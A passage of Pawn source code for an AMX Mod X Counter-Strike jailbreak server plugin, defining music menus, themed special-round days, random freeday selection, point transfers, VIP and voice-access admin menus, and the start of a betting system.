		ColorChat(0, "^4%s ^1stoped the music !", adname)
	} else {
		client_cmd(0, "mp3 play ^"sound/Extreme-Jail/%s.mp3^"", SongsData[key-1])
		ColorChat(0, "^4%s ^1started^3 ^"^1 %s^3 ^"^1 song !", adname, SongsName[key])
	}
}
 public ShowMusicCustomized(id)
{
	new Customized = menu_create("\r[\w BeatTheB Jail \r]\y Music Customized Menu^n\dType !music or /music to reopen The Menu", "MusicCustomized")
 	new szNum[4], players[32], pnum
	for(new i = 0 ; i < sizeof SongsNameC ; i++) {
		num_to_str(i, szNum , 3)
		menu_additem(Customized , SongsNameC[i], szNum)
	} if(id == 0) {
		get_players(players, pnum)
		for(new i; i<pnum; i++)
			menu_display(players[i], Customized)
	} else
		menu_display(id, Customized)
}
 public MusicCustomized(id, Customized, item)
{
	if(item == MENU_EXIT)
		return
	new szKey[3], Dummy
	menu_item_getinfo(Customized, item, Dummy, szKey, 2, "", 0, Dummy)
 	new key = str_to_num(szKey)
	if(key == sizeof SongsNameC-1) {
		client_cmd(id, "mp3 stop;stopsound")
		ColorChat(id, "you stoped the music")
	} else {
		client_cmd(id, "mp3 play ^"sound/Extreme-Jail/%s.mp3^"", SongsData[key])
		ColorChat(id, "you started^3 ^"^1 %s^3 ^"^1 song !", SongsNameC[key])
	}
}
 public OptionMenu(id, g_OptionMenu, item)
{
	if(item == MENU_EXIT)
		return
	new Data[7], Name[64], Access, Callback, adname[33]
	get_user_name(id, adname, 31)
	menu_item_getinfo(g_OptionMenu, item, Access, Data,5, Name, 63, Callback)
	new Key = str_to_num(Data)
 	switch(Key)
	{
		case 1:
		{
			ColorChat(0, "^4%s Enable^4 ''^1 No Zoom^4 ''^1 !", adname)
			EnableHamForward(ForwardSecAttackAwp)
			EnableHamForward(ForwardSecAttackScout)
		}
		case 2:
		{
			ColorChat(0, "^4%s Disable^4 ''^1 No Zoom^4 ''^1 !", adname)
			DisableHamForward(ForwardSecAttackAwp)
			DisableHamForward(ForwardSecAttackScout)
		}
		case 3:
		{
			ColorChat(0, "^4%s started^4 ''^1 count down 30 sec^4 ''^1 !", adname)
			rar = 30
			ShowTimer()
		}
		case 4:
		{
			ColorChat(0, "^4%s started^4 ''^1 count down 60 sec^4 ''^1 !", adname)
			rar = 60
			ShowTimer()
		}
		case 5:
		{
			if(!g_iSprayMessages) {
				g_iSprayMessages = true
				ColorChat(0, "^4%s ^3Enable^4 spray messages for everyone to see.", adname)
			} else if(g_iSprayMessages) {
				g_iSprayMessages = false
				ColorChat(0, "^4%s ^3Disable^4 spray messages for everyone to see.", adname)
			}
		}
	}
	menu_destroy(g_OptionMenu)
}
 ActionZombie()
{
	rar = 100
	set_task(20.0, "ShowTimer")
	set_task(5.0, "AutoOpen")
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Zombie Day !!^ncount down 120 seconds!")
	for(new i = 0; i < g_max_clients; i++)
 	if(IsPlayer(i) && is_user_alive(i))
	{
		switch(cs_get_user_team(i))
		{
			case CS_TEAM_T:
			{
				fm_strip_user_weapons(i)
				fm_set_user_health(i, 100)
			}
			case CS_TEAM_CT:
			{
				fm_strip_user_weapons(i)
				fm_set_user_health(i, 30000)
				fm_set_user_godmode(i, 1)
			}
		}
	}
}
 ActionHns()
{
	rar = 100
	set_task(20.0, "ShowTimer")
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++)
 	if(IsPlayer(i) && is_user_alive(i))
	{
		switch(cs_get_user_team(i))
		{
			case CS_TEAM_T:
			{
				fm_set_user_health(i, 100)
				fm_strip_user_weapons(i)
				fm_give_item(i,"weapon_knife")
			}
			case CS_TEAM_CT:
			{
				fm_strip_user_weapons(i)
				fm_give_item(i,"weapon_knife")
				fm_set_user_godmode(i, 1)
			}
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Hide'N'Seek day !!^nRules:^n CT- Seekers   T- Hiders^n CT team can only STABS !^n Hiders have only 120 seconds to find a place to hide^n When the time is over the Seekers must kill the Hiders with a^n KNIFE !")
}
ActionShark()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++)
 	if(IsPlayer(i) && is_user_alive(i))
	{
		switch(cs_get_user_team(i))
		{
			case CS_TEAM_T:
			{
				fm_strip_user_weapons(i)
				fm_give_item(i,"weapon_m4a1")
				fm_give_item(i,"weapon_deagle")
 				cs_set_user_bpammo(i, CSW_M4A1, 250)
				cs_set_user_bpammo(i, CSW_DEAGLE, 250)
			}
			case CS_TEAM_CT:
			{
				fm_set_user_health(i, 200)
				fm_strip_user_weapons(i)
				fm_give_item(i,"weapon_knife")
				fm_set_user_noclip(i, 1)
			}
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Shark Day !!^nJust kill each other !")
}
ActionFree()
{
	rar = 140
	set_task(20.0, "ShowTimer")
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++)
	if(IsPlayer(i) && is_user_alive(i))
	{
		switch(cs_get_user_team(i))
		{
			case CS_TEAM_T:	fm_set_user_health(i, 100)
			case CS_TEAM_CT:
			{
				fm_strip_user_weapons(i)
				fm_give_item(i,"weapon_m4a1")
				fm_give_item(i,"weapon_deagle")
				fm_give_item(i, "weapon_smokegrenade")
 				cs_set_user_bpammo(i, CSW_SMOKEGRENADE, 4)
				cs_set_user_bpammo(i, CSW_M4A1, 120)
				cs_set_user_bpammo(i, CSW_DEAGLE, 70)
				fm_set_user_health(i, 100)
			}
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "Its a free day !!^nRules:^n all the terrorist allow to play in the map.^n the CT is in the weapons room for the past 160 seconds^n after 160 seconds the ct allow to go out and look for the terrorist and kill them")
}
ActionNightCrawler()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++)
	if(IsPlayer(i) && is_user_alive(i))
	{
		switch(cs_get_user_team(i))
		{
			case CS_TEAM_T:
			{
				fm_strip_user_weapons(i)
				fm_give_item(i, "weapon_m4a1")
				fm_give_item(i, "weapon_deagle")
 				cs_set_user_bpammo(i, CSW_M4A1, 999)
				cs_set_user_bpammo(i, CSW_DEAGLE, 999)
			}
			case CS_TEAM_CT:
			{
				fm_strip_user_weapons(i)
				fm_give_item(i, "weapon_knife")
				fm_set_user_health(i, 250)
				fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
			}
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is NightCrawler Day !!^nCT - With 250 HP^nJust Kill The CT. !")
}
Actionspartanday()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++)
 	if(IsPlayer(i) && is_user_alive(i))
         {
		switch(cs_get_user_team(i))
		{
			case CS_TEAM_T:
			{
				fm_strip_user_weapons(i)
				fm_set_user_health(i, 300)
				fm_give_item(i, "weapon_shield")
				fm_give_item(i, "weapon_deagle")
 				cs_set_user_bpammo(i, CSW_DEAGLE, 999)
			}
			case CS_TEAM_CT:
			{
				fm_set_user_health(i, 500)
				fm_strip_user_weapons(i)
				fm_give_item(i, "weapon_deagle")
				fm_give_item(i, "weapon_m4a1")
 				cs_set_user_bpammo(i, CSW_DEAGLE, 999)
				cs_set_user_bpammo(i, CSW_M4A1, 9999)
			}
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Spartan Day !!^nCT - With 300 HP^nJust kill The CT.!")
}
 ActionWarday()
{	
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++) 
	{
		if(IsPlayer(i) && is_user_alive(i))
		{
			fm_strip_user_weapons(i)
			switch(cs_get_user_team(i))
			{
				case CS_TEAM_CT: 
				{
					fm_give_item(i, "weapon_m4a1")
					fm_give_item(i, "weapon_hegrenade")
 					cs_set_user_bpammo(i, CSW_M4A1, 999)
					cs_set_user_bpammo(i, CSW_HEGRENADE, 999)
 					fm_set_user_health(i, 500)
				}
				case CS_TEAM_T:		fm_give_item(i, "weapon_ak47") && cs_set_user_bpammo(i, CSW_AK47, 999)
			}
			fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999)
			fm_set_user_health(i, 100)
			fm_give_item(i, "weapon_knife")
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is War Day !!^nCT - with 500 HP^nEveryall - Have Guns^nJust kill The CT.!")
}
 ActionDeathmatch()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++) 
	{
		if(IsPlayer(i) && is_user_alive(i))
		{
			fm_strip_user_weapons(i)
			if(cs_get_user_team(i) == CS_TEAM_CT)
				fm_set_user_godmode(i, 1)
			fm_set_user_health(i, 100)
			fm_give_item(i, "weapon_knife")
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Deathmatch !!^nT - Just freekill.!^nCT - no kill !")
	server_cmd("mp_friendlyfire 1")
}
 ActionBirthDay()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++) 
	{
		if(IsPlayer(i) && is_user_alive(i))
		{
			switch(cs_get_user_team(i))
			{
				case CS_TEAM_CT:	fm_set_user_godmode(i, 1) && fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 250, kRenderNormal, 20)
				case CS_TEAM_T:		fm_strip_user_weapons(i) && fm_set_user_rendering(i, kRenderFxGlowShell, 250, 0, 0, kRenderNormal, 20)
			}
			fm_set_user_health(i, 100)
			fm_give_item(i, "weapon_knife")
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Birth Day !!^nIn 5 seconds automatically chooses^nprisoner who had a birthday.!")
}
 ActionKnifeDay()
{
	for(new i = 0; i < g_max_clients; i++) 
	{
		if(IsPlayer(i) && is_user_alive(i))
		{
			fm_strip_user_weapons(i)
			switch(cs_get_user_team(i))
			{
				case CS_TEAM_CT:	fm_set_user_health(i, 2000)
				case CS_TEAM_T:		fm_set_user_health(i, 200)
			}
			fm_give_item(i, "weapon_knife")
		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Knife Day !!^nCT - with 2000 HP^nT - with 200 HP^nJust Knife only.!")
}
 ActionGrenadeDay()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++) 
	{
		if(IsPlayer(i) && is_user_alive(i))
		{
			fm_strip_user_weapons(i)
			switch(cs_get_user_team(i))
			{
				case CS_TEAM_CT:	fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, 2500)
				case CS_TEAM_T:		fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, 250)
			}
 		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Grenade Day !!^nCT - with 2500 HP^nT - with 250 HP^nCome war!!!!!!.. :D")
}
 ActionNorDealgeDay()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++) 
	{
		if(IsPlayer(i) && is_user_alive(i))
		{
			fm_strip_user_weapons(i)
			switch(cs_get_user_team(i))
			{
				case CS_TEAM_CT:	fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, 600)
				case CS_TEAM_T:		fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, 250)
			}
 		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Deagle Day !!^nCT - with 600 HP^nT - with 250 HP^nFire Now.!")
}
 ActionJumpDay()
{
	set_task(5.0, "AutoOpen")
	for(new i = 0; i < g_max_clients; i++) 
	{
		if(IsPlayer(i) && is_user_alive(i))
		{
			switch(cs_get_user_team(i))
			{
				case CS_TEAM_CT:	fm_set_user_godmode(i, 1)
				case CS_TEAM_T:		fm_set_user_health(i, 100) && fm_strip_user_weapons(i)
			}
 		}
	}
	set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
	show_hudmessage(0, "It is Jump Day !!^nCT - with Godmode^nT - with 100 HP^nJump Jump Jump Jump Jump !! :D")
}
  public ActionRandomDay()
{
	actiondays = true
	switch(random_num(1,11))
	{
		case 1:
		{
			ColorChat(0, "start^4 Zombie day !^1 (By Random Day)")
			ActionZombie()
			zombieday = true
		}
		case 2:
		{
			ColorChat(0, "start^4 hide'n'seek !^1 (By Random Day)")
			hns_fd = true
			ActionHns()
		}
		case 3:
		{
			ColorChat(0, "start^4 Shark day !^1 (By Random Day)")
			ActionShark()
		}
		case 4:
		{
			ColorChat(0, "start^4 Free day !^1 (By Random Day)")
			hns_fd = true
			ActionFree()
		}
		case 5:
		{
			ColorChat(0, "start^4 NightCrawler Day !^1 (By Random Day)")
			ActionNightCrawler()
		}
		case 6:
		{
			ColorChat(0, "start^4 Spartan Day !^1 (By Random Day)")
			Actionspartanday()
		}
		case 7:
		{
			ColorChat(0, "start^4 War Day !^1 (By Random Day)")
			ActionWarday()
		}
		case 8:
		{
			ColorChat(0, "start^4 Birth Day !^1 (By Random Day)")
			ActionBirthDay()
			set_task(5.0, "GetRandomPlayer")
		}
		case 9:
		{
			ColorChat(0, "start^4 Knife Day !^1 (By Random Day)")
			ActionKnifeDay()
			knifeday = true
		}
		case 10:
		{
			ColorChat(0, "start^4 Grenade Day !^1 (By Random Day)")
			ActionGrenadeDay()
			grenadeday = true
		}
		case 11:
		{
			ColorChat(0, "start^4 Deagle Day !^1 (By Random Day)")
			ActionNorDealgeDay()
			nordeagleday = true
		}
	}
}
 public fdexec(id)
{
	if(cs_get_user_team(id) == CS_TEAM_CT || is_user_admin(id) || get_vip[id]) {
		if(is_user_alive(id)) {
			new rname[32]
			get_user_name(id, rname, 33)
			ColorChat(0, "^4%s ^1started Random Players freeday", rname)
			set_task(5.0, "GetRandomPlayer")
		}
	}
}
 public GetRandomPlayer()
{
	new vPlayers[32], vPlayerNum, vName[32]
	get_players(vPlayers, vPlayerNum, "ac")
 	if(vPlayerNum)
	{
		new g_iVIPid = 0
		g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
		get_user_name(g_iVIPid, vName, charsmax(vName))
		if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT || !is_user_alive(g_iVIPid))
			set_task(1.0, "GetRandomPlayer")
		else {
			ColorChat(0, "^4%s ^1is selected for a freeday", vName)
			fm_set_user_rendering(g_iVIPid, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 255)
			client_cmd(0, "spk ^"%s^"", appmusic)
 			set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
			show_hudmessage(0, "^%s ^1is selected", vName)
		}
	}
}
 public RandomCT(id)
{
	if(!is_user_admin(id))
		return
	new vPlayers[32], vPlayerNum, vName[32]
	get_players(vPlayers, vPlayerNum)
 	if(vPlayerNum) {
		new g_iVIPid = 0
		g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
		get_user_name(g_iVIPid, vName, charsmax(vName))
		if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT)
			set_task(1.0, "RandomCT")
		else {
			ColorChat(0, "^4%s ^1is selected for a Random CT", vName)
			cs_set_user_team(g_iVIPid, CS_TEAM_CT)
			ExecuteHamB(Ham_CS_RoundRespawn, g_iVIPid)
			client_cmd(0, "spk ^"%s^"", appmusic)
 			set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
			show_hudmessage(0, "^%s is selected for a Random CT", vName)
		}
	}
}
 public ShowTimer()
{
	rar--
	if(rar <= 0) {
		if(hns_fd) {
			client_cmd(0, "spk ^"%s^"", bellmusic)
			set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
			show_hudmessage(0, "The Time is Over!^nCT- go to find the terrorist and kill them")
		} else if(zombieday)
			ShowTimerZM()
		client_cmd(0, "spk ^"%s^"", bellmusic)
		set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
		show_hudmessage(0, "The Time is Over!")
		remove_task
	} else {
		set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 0.5, 0.5)
		show_hudmessage(0, "%d", rar)
		set_task(1.0, "ShowTimer")
	} if(rar >= 10) {
		new SecVoice[21]
		num_to_word(timer, SecVoice, 20)
		client_cmd(0, "spk ^"BeatTheB-Jail/%s^"", SecVoice)
	}
}
 ShowTimerZM()
{
	client_cmd(0, "spk ^"%s^"", bellmusic)
	set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
	show_hudmessage(0, "The Time is Over!^nCT- Godmode 0^nCT- go to find the terrorist and kill them")
	remove_task
	for(new i = 0; i < g_max_clients; i++)	
	if(IsPlayer(i) && is_user_alive(i))
	{
		switch(cs_get_user_team(i))
		{
			case CS_TEAM_T:
			{
				fm_give_item(i,"weapon_knife")
				fm_set_user_health(i, 100)
 				fm_give_item(i,"weapon_elite") && fm_give_item(i,"weapon_fiveseven") && fm_give_item(i,"weapon_m3") && fm_give_item(i,"weapon_xm1014")
				fm_give_item(i,"weapon_tmp") && fm_give_item(i,"weapon_mac10") && fm_give_item(i,"weapon_mp5navy") && fm_give_item(i,"weapon_p228")
				fm_give_item(i,"weapon_aug") && fm_give_item(i,"weapon_scout") && fm_give_item(i,"weapon_sg550") && fm_give_item(i,"weapon_awp")
				fm_give_item(i,"weapon_g3sg1") && fm_give_item(i,"weapon_p90") && fm_give_item(i,"weapon_ump45") && fm_give_item(i,"weapon_famas")
				fm_give_item(i,"weapon_galil") && fm_give_item(i,"weapon_ak47") && fm_give_item(i,"weapon_m4a1") && fm_give_item(i,"weapon_deagle")
				fm_give_item(i,"weapon_sg552") && fm_give_item(i,"weapon_usp") && fm_give_item(i,"weapon_glock18") && fm_give_item(i,"weapon_m249")
 				cs_set_user_bpammo(i, CSW_AK47, 250) && cs_set_user_bpammo(i, CSW_M3, 250) && cs_set_user_bpammo(i, CSW_M4A1, 250)
				cs_set_user_bpammo(i, CSW_ELITE, 250) && cs_set_user_bpammo(i, CSW_ELITE, 250) && cs_set_user_bpammo(i, CSW_XM1014, 250)
				cs_set_user_bpammo(i, CSW_TMP, 250) && cs_set_user_bpammo(i, CSW_MAC10, 250) && cs_set_user_bpammo(i, CSW_MP5NAVY, 250)
				cs_set_user_bpammo(i, CSW_P228, 250) && cs_set_user_bpammo(i, CSW_AUG, 250) && cs_set_user_bpammo(i, CSW_SCOUT, 250)
				cs_set_user_bpammo(i, CSW_SG550, 250) && cs_set_user_bpammo(i, CSW_AWP, 250) && cs_set_user_bpammo(i, CSW_G3SG1, 250)
				cs_set_user_bpammo(i, CSW_P90, 250) && cs_set_user_bpammo(i, CSW_UMP45, 250) && cs_set_user_bpammo(i, CSW_FAMAS, 250)
				cs_set_user_bpammo(i, CSW_GALIL, 250) && cs_set_user_bpammo(i, CSW_AK47, 250) && cs_set_user_bpammo(i, CSW_SG552, 250)
				cs_set_user_bpammo(i, CSW_USP, 250) && cs_set_user_bpammo(i, CSW_DEAGLE, 250) && cs_set_user_bpammo(i, CSW_GLOCK18, 250) && cs_set_user_bpammo(i, CSW_M249, 250)
			}
			case CS_TEAM_CT:
			{
				fm_give_item(i,"weapon_knife")
				fm_set_user_godmode(i, 0)
			}
		}
	}
}
 public OnSecondaryAttack()
    return HAM_SUPERCEDE
 public cmdBox( id ) {
	if(!is_user_connected(id) || !is_user_alive(id) || cs_get_user_team(id) != CS_TEAM_CT)
		ColorChat(id, "^4You ar Not CT Team & You ar Death")
	else {
		new ffname[32]
		get_user_name(id, ffname, 31)
		switch(iHandler) {
			case 0: {
				for(new i = 0; i < g_max_clients; i++)
					if(IsPlayer(i) && is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
						fm_set_user_health(i, 100)
				server_cmd("mp_friendlyfire 1")
				set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 6.0, 12.0)
				show_hudmessage(0, "Box Activated!^n By %s", ffname)
				ColorChat(0, "^3Box^4 Activated!^1 By %s", ffname)
			}
			case 1: {
				server_cmd("mp_friendlyfire 0")
				set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 12.0) 
				show_hudmessage(0, "Box Deactivated!^n By %s", ffname)
				ColorChat(0, "^3Box^3 Deactivated!^1 By %s", ffname)
			}
		}
		iHandler = !iHandler 
	}
}
 public EventCurWeapon2(id) {
	if(knifeday)
		engclient_cmd(id, "weapon_knife")
	else if(grenadeday)
		engclient_cmd(id, "weapon_hegrenade")
	else if(nordeagleday)
		engclient_cmd(id, "weapon_deagle")
}
 public GetPlayerDisco()
{
	new players[32], num
	get_players(players,num,"ah")
	for(new i=0;i<num;i++)
	{
		new num1 = random_num(0,255)
		new num2 = random_num(0,255)
		new num3 = random_num(0,255)
		new alpha = random_num(40,65)
		message_begin(MSG_ONE,get_user_msgid("ScreenFade"),{0,0,0},players[i])
		write_short(~0)
		write_short(~0)
		write_short(1<<12)
		write_byte(num1)
		write_byte(num2)
		write_byte(num3)
		write_byte(alpha)
		message_end()
	}
}
 public ShowSpecialHook()
{
	new players[32], pnum, tempid
	get_players(players, pnum)
	for(new i; i<pnum; i++)
	{
		tempid = players[i]
 		message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, tempid)
		write_short(4096*1)    // Duration
		write_short(4096*1)    // Hold time
		write_short(4096)    // Fade type
		write_byte(0)        // Red
		write_byte(0)        // Green
		write_byte(0)        // Blue
		write_byte(255)    // Alpha
		message_end()
	}
}
 public GiveVIP(id)
{
	if(get_user_flags(id) & ADMIN_RCON) {
		new givevipmenu = menu_create("\r[\w BeatTheB Jail \r]\y Give VIP Menu", "ActionGiveVIP")
 		new players[32], pnum, tempid
		new szName[32], szTempid[10]
 		get_players(players, pnum)
		for(new i; i<pnum; i++)
		{
			tempid = players[i]
 			get_user_name(tempid, szName, 31)
			num_to_str(tempid, szTempid, 9)
			menu_additem(givevipmenu, szName, szTempid)
		}
 		menu_display(id, givevipmenu)
	} else
		ColorChat(id, "^4You have no access to this")
}
 public ActionGiveVIP(id, givevipmenu, item)
{
	new data[6], iName[64]
	new _access, callback
	menu_item_getinfo(givevipmenu, item, _access, data,5, iName, 63, callback)
 	new tempid = str_to_num(data)
	new szName[32], szName2[32]
	get_user_name(id, szName, 31)
	get_user_name(tempid, szName2, 31)
	if(get_vip[tempid] || is_user_admin(tempid))
		ColorChat(0, "^4%s ar Alsready VIP", szName2)
	else {
		ColorChat(0, "^4%s ^3Give VIP to ^4%s", szName, szName2)
		get_vip[tempid] = true
	}
	menu_destroy(givevipmenu)
}
 /* ---------------------------------------------------
* --------------- SEND POINTS SYSTEM ----------------*/
 public MainMenuSend(id)
{
	if(send_delay[id] != 0)
		console_print(id, "Ex SEND: Please wait ^4%d^1 Seconds to SEND", send_delay[id])
	else {
		new target[32], amount[21]
 		read_argv(1, target, 31)
		read_argv(2, amount, 20)
 		new player = cmd_target(id, target, 8)
		new admin_name[32], player_name[32]
		get_user_name(id, admin_name, 31)
		get_user_name(player, player_name, 31)
 		new pointnum = str_to_num(amount)
 		if(equal(target, "") || equal(amount, ""))
			console_print(id, "Ex SEND: Use ^"send NAME POINTS^" to send. Example: ^"send yosi 15^"")
		else if(id == player)
			console_print(id, "Ex SEND: You can not send yourself a point")
		else if(!player)
			console_print(id, "Ex SEND: Player Not Found !")
		else if(!is_str_num(amount))
			console_print(id, "Ex SEND: you most to write only numbers")
		else if(playerpoints[id] < pointnum)
			console_print(id, "Ex SEND: you dont have enough points")
		else if(pointnum > 0) {
			playerpoints[player] += pointnum
			playerpoints[id] -= pointnum
			ColorChat(0, "^3%s ^4Give ^3%i^4 Points to ^3%s", admin_name, pointnum, player_name)
		} else
			console_print(id, "Ex SEND: you dont have enough points")
		send_delay[id] = 5
		set_task(1.0,"_ShowDelay", id, "", 0, "a", 5)
	}
	return PLUGIN_HANDLED
}
 public MenuCallback()
	return ITEM_DISABLED
 /* ---------------------------------------------------
* ------------- GIVE ACCESS TO SPEACH --------------*/
public AccessSpeachMenu(id)
{
	if(get_user_flags(id) & ADMIN_CVAR) {
		new speachmenu = menu_create("\r[\w BeatTheB Jail \r]\y access to Speach Menu", "ActionAccessSpeachMenu")
		new callback = menu_makecallback("MenuCallbackSpeach")
 		menu_additem(speachmenu, "\yGive Access", "1")
		menu_additem(speachmenu, "\yRemove Access^n", "2")
		menu_additem(speachmenu, "\rGive Access to CT Team", "3",_, callback)
		menu_additem(speachmenu, "\rRemove Access to CT Team", "4")
 		menu_display(id, speachmenu)
	} else
		ColorChat(id, "^4You have no access to that command")
}
 public MenuCallbackSpeach()
	return mutect ? ITEM_ENABLED : ITEM_DISABLED
public ActionAccessSpeachMenu(id, speachmenu, item)
{
	if(item == MENU_EXIT) {
		menu_destroy(speachmenu)
		return
	}
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(speachmenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
	switch(Key)
	{
		case 1:
		{
			new speach_give = menu_create("\r[\w BeatTheB Jail \r]\y Give access to Speach Menu", "ActionGiveSpeach")
 			new players[32], pnum, tempid, szName[32], szTempid[10]
			get_players(players, pnum)
 			for(new i; i<pnum; i++)
			{
				tempid = players[i]
 				if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || get_bit(g_PlayerVoice, tempid))
					continue
 				get_user_name(tempid, szName, 31)
				num_to_str(tempid, szTempid, 9)
				menu_additem(speach_give, szName, szTempid)
			}
			menu_display(id, speach_give)
		}
		case 2:
		{
			new speach_remove = menu_create("\r[\w BeatTheB Jail \r]\y Remove access to Speach Menu", "ActionRemoveSpeach")
 			new players[32], pnum, tempid, szName[32], szTempid[10]
			get_players(players, pnum)
			for(new i; i<pnum; i++)
			{
				tempid = players[i]
 				if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || !(get_bit(g_PlayerVoice, tempid)))
					continue
 				get_user_name(tempid, szName, 31)
				num_to_str(tempid, szTempid, 9)
				menu_additem(speach_remove, szName, szTempid)
			}
			menu_display(id, speach_remove)
		}
		case 3:
		{
			new name[33]
			get_user_name(id, name, 32)
			mutect = false
			ColorChat(0, "^3%s ^4Give Speach Access to all^3 CT Team", name)
		}
		case 4:
		{
			new name[33]
			get_user_name(id, name, 32)
			mutect = true
			ColorChat(0, "^3%s ^4Remove Speach Access to all^3 CT Team", name)
		}
	}
	menu_destroy(speachmenu)
}
 public ActionGiveSpeach(id, speach_give, item)
{
	if(item == MENU_EXIT) {
		AccessSpeachMenu(id)
		return
	}
	new data[6], iName[64]
	new _access, callback
	menu_item_getinfo(speach_give, item, _access, data,5, iName, 63, callback)
 	new tempid = str_to_num(data)
	new szName[32], szName2[32]
	get_user_name(id, szName, 31)
	get_user_name(tempid, szName2, 31)
	set_bit(g_PlayerVoice, tempid)
	ColorChat(0, "^3%s ^4Give Speach Access to ^3%s", szName, szName2)
	menu_destroy(speach_give)
}
 public ActionRemoveSpeach(id, speach_remove, item)
{
	if(item == MENU_EXIT) {
		AccessSpeachMenu(id)
		return
	}
	new data[6], iName[64]
	new _access, callback
	menu_item_getinfo(speach_remove, item, _access, data,5, iName, 63, callback)
 	new tempid = str_to_num(data)
	new szName[32], szName2[32]
	get_user_name(id, szName, 31)
	get_user_name(tempid, szName2, 31)
	clear_bit(g_PlayerVoice, tempid)
	ColorChat(0, "^3%s ^4Remove Speach Access to ^3%s", szName, szName2)
	menu_destroy(speach_remove)
}
 public DropCMD(id)
{
	if(is_user_alive(id)) {
		new weapon,clip,ammo,Float:velo[3]
		weapon = get_user_weapon(id,clip,ammo)
		if(weapon == CSW_KNIFE) {
			if(playerpoints[id] < 2)
				return PLUGIN_CONTINUE
			playerpoints[id] -= 2
			can_pickup[id] = false
			set_task(0.3,"reset_pick",id)
			new start_velo = 10 * 15
			new end_velo = 10 * 50
			velocity_by_aim(id,random_num(start_velo,end_velo),velo)
			make_money(id,velo)
		}
	}
	return nordeagleday ? PLUGIN_HANDLED : PLUGIN_CONTINUE
}
 /* ---------------------------------------------------
* ------------------- BETS SYSTEM -------------------*/
public MainMenuBet(id)
{
	if(!get_cvar_num("bet_enable"))
		ColorChat(id, "^3bet^4 is not enabled")
	else
	{
		new Item[64]
		new bet_menu = menu_create("\r[\w BeatTheB Jail \r]\y Bet System\d", "sub_MainMenuBet")
 		new callback = menu_makecallback("MenuCallbackBet")
 		menu_additem(bet_menu, "\yBet about \wCounter-Terrorist", "1")
		menu_additem(bet_menu, "\yBet about \wTerrorist", "2")
		menu_additem(bet_menu, "Betting Information", "3")
		formatex(Item, charsmax(Item), "Take all the Points in the CashBox\w(%i)", serverpoints)
		menu_additem(bet_menu, Item, "4", _, callback)
		menu_additem(bet_menu, "\rRESET Betting and CashBox", "5", _, callback)
 		menu_display(id, bet_menu)
	}
}
 public sub_MainMenuBet(id, bet_menu, item)
{
	if(item == MENU_EXIT) {
		menu_destroy(bet_menu)
		return
	}
	new Data[7], Name[64], iName[32], Item[64], Access, Callback
